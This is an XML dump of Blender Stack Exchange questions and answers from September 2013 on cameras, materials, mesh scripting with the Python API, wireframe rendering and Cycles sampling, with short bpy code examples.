  <row Id="2769" PostTypeId="1" CreationDate="2013-09-09T00:52:06.960" Score="4" ViewCount="1051" Body="&lt;p&gt;Is there a way to import Sketchup scenes into Blender as cameras?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get the geometry into Blender without any problems; my issue is that I'd also like to bring along the scene viewpoint as a camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data obtained from SketchUP API is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mod = Sketchup.active_model&#xA;vue = mod.active_view&#xA;cam = vue.camera&#xA;&#xA;cam.eye&#xA;&amp;gt; Point3d(240.719, -236.069, 102.276)&#xA;&#xA;cam.target&#xA;&amp;gt; Point3d(-285.372, 553.004, -82.0446)&#xA;&#xA;cam.fov&#xA;&amp;gt; 35.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is a convenient way to convert this into a new camera?&lt;/p&gt;&#xA;" OwnerUserId="1247" LastEditorUserId="47" LastEditDate="2013-09-09T19:25:54.697" LastActivityDate="2013-09-09T20:31:10.110" Title="Import camera information from Sketchup" Tags="&lt;camera&gt;&lt;import&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2770" PostTypeId="2" ParentId="2768" CreationDate="2013-09-09T03:36:35.900" Score="2" Body="&lt;p&gt;Regarding material assignment:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set a single object to the material you want to assign.&lt;/li&gt;&#xA;&lt;li&gt;Select all objects to assign materials too.&lt;/li&gt;&#xA;&lt;li&gt;Shift RMB on an object with the material (if its not still active).&lt;/li&gt;&#xA;&lt;li&gt;Menu Object -&gt; Make Links -&gt; Materials.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will apply the active objects materials to all other selected objects.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-09T03:36:35.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2771" PostTypeId="2" ParentId="2326" CreationDate="2013-09-09T03:59:04.967" Score="7" Body="&lt;p&gt;I had the same problem, and this solution worked:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;N&lt;/kbd&gt; in the 3D view to open the Properties region.&lt;/li&gt;&#xA;&lt;li&gt;In the View submenu, turn off &lt;em&gt;Lock to Cursor&lt;/em&gt; or &lt;em&gt;Lock to Object&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's not unlikely that a relatively inexperienced user would not realize that this setting exists, or would not know how to restore it.&lt;/p&gt;&#xA;" OwnerUserId="1248" LastEditorUserId="599" LastEditDate="2014-01-24T19:28:39.460" LastActivityDate="2014-01-24T19:28:39.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2773" PostTypeId="1" AcceptedAnswerId="2778" CreationDate="2013-09-09T05:34:32.140" Score="20" ViewCount="45054" Body="&lt;p&gt;How do you make a spherical/ovular object in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can make square objects, and I can make a UV sphere. But how would I make an object that appears spherical in render?&lt;/p&gt;&#xA;" OwnerUserId="1250" LastEditorUserId="372" LastEditDate="2013-09-09T13:26:29.970" LastActivityDate="2016-07-19T15:25:09.440" Title="How can I make a circular object appear perfectly round?" Tags="&lt;objects&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2774" PostTypeId="2" ParentId="2773" CreationDate="2013-09-09T06:21:39.817" Score="11" Body="&lt;p&gt;In the main menu:&lt;br&gt;&#xA;Add &gt; Mesh &gt; UVSphere&lt;br&gt;&#xA;Add &gt; Mesh &gt; IcoSphere&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the tool properties panel you can adjust&#xA;the resolution. Later you can even add a&#xA;&lt;i&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Modifiers/Generate/Subsurf&quot;&gt;subdivision surface&lt;/a&gt;&lt;/i&gt; modifier&#xA;to it. Note that this way a sphere is&#xA;represented with polygons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically a ray-tracer can render real spheres,&#xA;but cycles does not support it. Even meta-balls are&#xA;rendered polygonally, not as real smooth surfaces.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2014-03-05T08:32:28.903" LastActivityDate="2014-03-05T08:32:28.903" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2775" PostTypeId="2" ParentId="2715" CreationDate="2013-09-09T07:08:20.290" Score="3" Body="&lt;p&gt;Well there is a way but it really is a &lt;em&gt;cart before the horse&lt;/em&gt; thing. If you really need the image you can only get it by a screenshot, which will be limited to an 8 bit depth and the size of your viewport, obviously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it is saved you can then use a file node to import it into the node editor.&#xA;As I said this is a nuts way to do it but it can be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't do it though use &lt;kbd&gt;F12&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1251" LastEditorUserId="72" LastEditDate="2013-09-09T21:03:14.743" LastActivityDate="2013-09-09T21:03:14.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2776" PostTypeId="1" AcceptedAnswerId="2777" CreationDate="2013-09-09T09:22:16.613" Score="16" ViewCount="11607" Body="&lt;p&gt;Preferable in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a mesh I know is made of quads only. I want my script to iterate through each quad and do something with the coordinates of each of the four vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read the API documentation but I don't understand how faces are stored. I think what I want can be accomplished by looking at bpy.types.Mesh.polygons but the type MeshPolygon does not reference vertices directly, it references loops, and loops references a vertex and an edge, and edges, finally, references vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me this looks like a lot of guesswork to figure out what vertices form the polygon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to go from polygon to vertices?&lt;/p&gt;&#xA;" OwnerUserId="1056" LastActivityDate="2013-09-09T11:32:20.100" Title="How to read vertices of quad faces using Python API?" Tags="&lt;scripting&gt;&lt;mesh&gt;&lt;python&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2777" PostTypeId="2" ParentId="2776" CreationDate="2013-09-09T10:15:40.370" Score="15" Body="&lt;p&gt;The text editor has a useful template that may interest you:&lt;br&gt;&#xA;&lt;em&gt;Text Editor &gt; Templates &gt; Python &gt; BMesh Simple&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each polygon stores a reference to the indices of the vertices it's made from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;object mode&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# obj = bpy.data.objects['Cube']  &amp;lt;-- depending how you want to access it.&#xA;obj = bpy.context.active_object&#xA;&#xA;for f in obj.data.polygons:&#xA;    for idx in f.vertices:&#xA;        print(obj.data.vertices[idx].co)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or manipulate the mesh directly (this will affect all objects that reference this mesh). Meshes and Objects are different things.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;data = bpy.data.meshes['Cube']&#xA;&#xA;for f in data.polygons:&#xA;    for idx in f.vertices:&#xA;        print(data.vertices[idx].co)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit mode&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh &#xA;&#xA;obj = bpy.context.active_object&#xA;bm = bmesh.from_edit_mesh(obj.data) &#xA;&#xA;for f in bm.faces:&#xA;    for v in f.verts:&#xA;        print(v.co)&#xA;&#xA;# if you make edits then you need to update at the end&#xA;bmesh.update_edit_mesh(obj.data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="55" LastEditDate="2013-09-09T11:32:20.100" LastActivityDate="2013-09-09T11:32:20.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2778" PostTypeId="2" ParentId="2773" CreationDate="2013-09-09T11:24:43.467" Score="24" Body="&lt;p&gt;Are you looking for &quot;Smooth Shading&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NQkGJ.png&quot; alt=&quot;Smooth/Flat Shading&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="292" LastActivityDate="2013-09-09T11:24:43.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2780" PostTypeId="2" ParentId="938" CreationDate="2013-09-09T16:10:28.113" Score="1" Body="&lt;p&gt;And then, for the adventurous amongst you, I made a patch for Blender source code that allows getting occlusion information for BMesh elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;state = bmelem.occlusion_get(rv3d)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;rv3d being a RegionView3D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get the patch &lt;a href=&quot;http://www.ewocprojects.be/occlusion.patch&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1256" LastActivityDate="2013-09-09T16:10:28.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2781" PostTypeId="1" AcceptedAnswerId="2782" CreationDate="2013-09-09T16:12:06.110" Score="17" ViewCount="11967" Body="&lt;p&gt;Is there a way to show all vertices (even if they're unselected in the 3D view) in the UV editor?&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2020-04-23T15:23:40.453" Title="Show unselected vertices in UV/Image editor?" Tags="&lt;3d-view&gt;&lt;uv&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2782" PostTypeId="2" ParentId="2781" CreationDate="2013-09-09T16:19:48.413" Score="18" Body="&lt;p&gt;Disable &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Layout_Editing#Selection_Modes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Sync Selection&lt;/em&gt;&lt;/a&gt; in the header toolbar of the &lt;em&gt;UV/Image Editor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 2.79: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AoBtF.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 2.8+:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9Bw79.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Bw79.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This stops the UVs only being visible if their corresponding vertices are selected. Now, even if no vertices are selected in the 3D view the UV image editor will still show them. If you do then select some vertices in the 3D view, the equivalent UVs will be selected in the image editor.&#xA;Geometry hidden in the view-port will be hidden in the UV editor too.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2020-04-23T15:23:40.453" LastActivityDate="2020-04-23T15:23:40.453" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="2783" PostTypeId="2" ParentId="2769" CreationDate="2013-09-09T19:58:14.497" Score="1" Body="&lt;p&gt;If that's all sketchup gives, then it's a little awkward -- but I think still doable. Maybe something like this. You will have to 'tame' the dimensions yourself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Data from Sketchup.&#xA;cam = {&#xA;    &quot;eye&quot;: (240.719, -236.069, 102.276),&#xA;    &quot;target&quot;: (-285.372, 553.004, -82.0446),&#xA;    &quot;fov&quot;: 35.0,&#xA;}&#xA;&#xA;# Create empty to target.&#xA;bpy.ops.object.empty_add(location=cam[&quot;target&quot;])&#xA;target = bpy.context.object&#xA;&#xA;# Create camera.&#xA;bpy.ops.object.camera_add(location=cam[&quot;eye&quot;])&#xA;bpy.context.object.data.lens = cam[&quot;fov&quot;]&#xA;&#xA;# Configure camera to track the empty.&#xA;constraint = bpy.context.object.constraints.new(&quot;TRACK_TO&quot;)&#xA;constraint.target = target&#xA;constraint.track_axis = &quot;TRACK_NEGATIVE_Z&quot;&#xA;constraint.up_axis = &quot;UP_Y&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="290" LastEditDate="2013-09-09T20:31:10.110" LastActivityDate="2013-09-09T20:31:10.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2784" PostTypeId="1" AcceptedAnswerId="2785" CreationDate="2013-09-09T20:31:43.497" Score="19" ViewCount="32762" Body="&lt;p&gt;I'm making figures to illustrate some details about how meshes work. I'd like to render my scene normally, but overlay all of my meshes in wire mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only solution I've found which works is giving a duplicate mesh a wireframe material, which gives me something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/97Kh3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way I could get the same effect without having to duplicate my mesh?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="599" LastEditDate="2013-09-10T22:22:45.780" LastActivityDate="2021-02-21T12:15:23.877" Title="Rendering with wireframe" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;wireframe&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2785" PostTypeId="2" ParentId="2784" CreationDate="2013-09-09T20:53:51.660" Score="13" Body="&lt;p&gt;There are several ways to do this:&lt;/p&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Freestyle&quot; rel=&quot;nofollow noreferrer&quot;&gt;Freestyle:&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit mode, select all and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;em&gt;&amp;gt; Mark Freestyle edge&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Freestyle&lt;/em&gt; in &lt;em&gt;Render settings&lt;/em&gt;:&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Pe9du.png&quot; alt=&quot;freestyle panel in render settings&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Edge mark&lt;/em&gt; in &lt;em&gt;Render layers &amp;gt; Freestyle line set &amp;gt; Edge types&lt;/em&gt;:&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ee6TF.png&quot; alt=&quot;freestyle settings&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Wireframe material:&lt;/h1&gt;&#xA;&lt;p&gt;Another way is to use a wireframe material as described in &lt;a href=&quot;http://www.blendtuts.com/tutorials-list/render-wireframes&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a material and select &lt;em&gt;Wire&lt;/em&gt;, enable &lt;em&gt;Z Transparency&lt;/em&gt; and set the &lt;em&gt;Z offset&lt;/em&gt; up to ensure the wires are rendered above the clay:&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZQA8o.png&quot; alt=&quot;wire settings&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add another material and assign it to all the faces.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FnUbu.png&quot; alt=&quot;example render&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2807" LastEditDate="2020-10-01T06:41:58.450" LastActivityDate="2020-10-01T06:41:58.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2786" PostTypeId="2" ParentId="2784" CreationDate="2013-09-09T20:59:33.297" Score="15" Body="&lt;p&gt;There is a simple addon for this called &lt;a href=&quot;http://www.blendernation.com/2011/12/15/python-script-set-up-a-wire-render/&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Setup Wire Materials&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A script to setup and apply materials for a wire render… It will replace your own with a clay and a wire materials, as seen &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?239505-setup-a-wire-render&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://vimeo.com/14207415&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pmdF7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-09-10T17:24:57.877" LastActivityDate="2013-09-10T17:24:57.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2787" PostTypeId="1" AcceptedAnswerId="2808" CreationDate="2013-09-10T00:57:46.733" Score="13" ViewCount="2611" Body="&lt;p&gt;This may seem like a obvious/basic question, but I am still curious, and I don't know the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will obviously be a big difference between an image rendered with a single sample and one rendered with 500 samples, but there will be a smaller difference between an image rendered with 1000 samples and 1500 samples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the technical reason for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand of how cycles works, it fires one ray per pixel from the camera, which bounces and translates through objects at random angles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would make sense that samples would bounce in directions that have already been sampled, but I would think it would be possible to skip sampling &quot;duplicate samples&quot; by skipping bounces that are at a similar angle to previous bounces?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="55" LastEditDate="2013-09-10T01:39:53.080" LastActivityDate="2015-07-10T04:57:58.173" Title="Why does Cycles sampling give diminishing returns?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2788" PostTypeId="1" AcceptedAnswerId="2790" CreationDate="2013-09-10T02:34:44.597" Score="6" ViewCount="724" Body="&lt;p&gt;I have created a driver using this expression:&#xA;&lt;code&gt;bpy.data.objects[&quot;e1&quot;].location.x**2/5&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works whenever I change the frame but I'd like it to work on redraw. One solution that won't always be appropriate is to select the driven object along with the driving object. Is there a more universal solution?&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="55" LastEditDate="2013-09-10T08:26:40.263" LastActivityDate="2013-11-03T18:06:33.867" Title="Why does my PyDriver only update on frame-change?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2789" PostTypeId="1" AcceptedAnswerId="2861" CreationDate="2013-09-10T02:45:32.763" Score="8" ViewCount="1824" Body="&lt;p&gt;I'm rendering image textures on deformed meshes like in &lt;a href=&quot;https://blender.stackexchange.com/q/2784/822&quot;&gt;this question&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/97Kh3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parts of the rectangular image that are compressed into the small faces look the same as the do in the flat image, except they're simply smaller now. Conversely, the large faces look the same as before, except now they're simply larger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One might say that &lt;em&gt;the mean colour intensities over the face have been preserved.&lt;/em&gt; Is it possible to preserve the sum instead of the mean over each face? With this method of deformation, compressed areas would get brighter, and stretched areas would get dimmer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An analogy would be stretching out a balloon, where its colour fades as the stretch gets more extreme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;EDIT:&lt;/b&gt; Here is an example &lt;a href=&quot;https://www.dropbox.com/sh/4h1xrmviz9qokac/tguqohRBnz&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file and image&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to change the path to the image in the texture menu (I couldn't figure out out to suck the image into the .blend file, or specify a relative path).&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2017-05-04T14:54:29.673" Title="Image texture intensity on deformed mesh" Tags="&lt;rendering&gt;&lt;mesh&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2790" PostTypeId="2" ParentId="2788" CreationDate="2013-09-10T08:14:26.160" Score="5" Body="&lt;p&gt;Don't use &lt;code&gt;bpy.data.***&lt;/code&gt; because blender won't know to create a dependancy between the objects (this is why updates are not working properly),&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add a driver variable with the button &lt;code&gt;Add Variable&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;select object ID type.&lt;/li&gt;&#xA;&lt;li&gt;then enter &quot;e1&quot; as the object name.&lt;/li&gt;&#xA;&lt;li&gt;the location channels X axis are default.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uA4Hd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can use the variable name defined by the driver variable in place of: &lt;code&gt;bpy.data.objects[&quot;e1&quot;].location.x&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="1077" LastEditDate="2013-09-10T22:57:54.267" LastActivityDate="2013-09-10T22:57:54.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2791" PostTypeId="2" ParentId="2787" CreationDate="2013-09-10T08:58:08.690" Score="7" Body="&lt;p&gt;It's not really a matter of how cycles works, more of a matter of logic. Think of it relatively, the difference between 1 and 500 is nearly 100% difference, whereas the difference between 1000 and 1500 is only 33.3% relative to the total. So logically, there won't appear to be as much of a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, developers recently implemented a &quot;Square Samples&quot; option (&lt;a href=&quot;https://projects.blender.org/scm/viewvc.php?view=rev&amp;amp;root=bf-blender&amp;amp;revision=58424&quot;&gt;r58424&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With this enabled, all Sample values will be squared. So 10 Samples become 100 Samples.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thus, by enabling this option, there is a much greater difference between sample count, and the difference between 1-500 (1-22 squared) and 1000-1500 (32-39) will be much closer together.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-09-10T08:58:08.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2792" PostTypeId="2" ParentId="2787" CreationDate="2013-09-10T10:07:52.907" Score="5" Body="&lt;p&gt;From a mathematical point of view, a cycles render would be a function which converges to an ideal soultion over time. So the more samples, the closer the render looks to the 'solution image', which would be the result with infinite samples thrown.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2013-09-10T10:07:52.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2793" PostTypeId="1" CreationDate="2013-09-10T12:34:30.040" Score="3" ViewCount="2610" Body="&lt;p&gt;I have a soft body mesh and an armature.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have one bone holding one end of the Soft body and another bone used to stretch the soft body.&lt;/li&gt;&#xA;&lt;li&gt;I then want one of the bones to let go of the soft body so it springs back like a piece of elastic that has snapped.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can animate the bone so it returns to the first position but this stops the mesh moving correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how this can be done?&lt;br&gt;&#xA;It doesn't have to be an armature it could be empties, etc.&lt;/p&gt;&#xA;" OwnerUserId="1261" LastEditorUserId="72" LastEditDate="2013-09-10T17:18:12.783" LastActivityDate="2013-09-11T12:56:24.353" Title="How do you stretch and then release a soft body or cloth so it springs back like elastic?" Tags="&lt;physics&gt;&lt;soft-body&gt;&lt;cloth-simulation&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2794" PostTypeId="2" ParentId="2787" CreationDate="2013-09-10T14:12:33.490" Score="13" Body="&lt;p&gt;&amp;nbsp;&amp;nbsp;1500/1000 Samples is only 1.5 times more. 500/1 is 500 times more samples. It's the same with astrophotography. Several pictures are stacked to reduce noise in the picture and the improvement in quality is the square root of the amount of exposure time. That means if you want to double the quality, you have to quadruple the amount of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&amp;nbsp;Let's take a closer look at the numbers:&#xA;If we take the quality of 1 sample as a base, then 500 samples are sqrt(500 times the effort) = 22 times less noisy. If you now take 1000 as a base, then 1500 is 1.5 times the effort and only sqrt(1.5)=1.2 times better which I think fits the visual perception quite nicely.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-09-12T19:05:01.507" LastActivityDate="2013-09-12T19:05:01.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2796" PostTypeId="1" AcceptedAnswerId="2802" CreationDate="2013-09-10T16:58:08.623" Score="3" ViewCount="1029" Body="&lt;p&gt;I have this blend file to test the steering actuator, the object named &quot;Cube&quot; is the one that has the steering actuator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.fileconvoy.com/dfl.php?id=gd49c4bb6fd3563e99993682677f1b347fd23675c6&quot; rel=&quot;nofollow&quot;&gt;test2.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find a working sample on the the web, and can't setup a simple path following actuator in the file above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seek behavior moves the object on a straight line towards the target object, no matter what obstacles or holes in the navigation mesh are there, path following and flee won't move the object at all.&lt;/p&gt;&#xA;" OwnerUserId="761" LastEditorUserId="2217" LastEditDate="2014-10-23T15:34:45.430" LastActivityDate="2014-10-23T15:34:45.430" Title="Working sample of steering actuator with path following behavior" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2797" PostTypeId="1" AcceptedAnswerId="2800" CreationDate="2013-09-10T17:27:21.073" Score="15" ViewCount="3159" Body="&lt;p&gt;How can I get a list of the installed addons and the version number so I can print out and use as a simple reference when checking for updated scripts?  I've looked at &lt;code&gt;bpy.types.Addons&lt;/code&gt; and &lt;code&gt;bpy.types.UserPreferences.addons&lt;/code&gt; but getting a list of the addon names is eluding me.  Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="809" LastEditorUserId="12" LastEditDate="2013-09-10T17:43:49.363" LastActivityDate="2013-09-11T10:08:39.330" Title="How can I get a list of the installed addons using the API?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
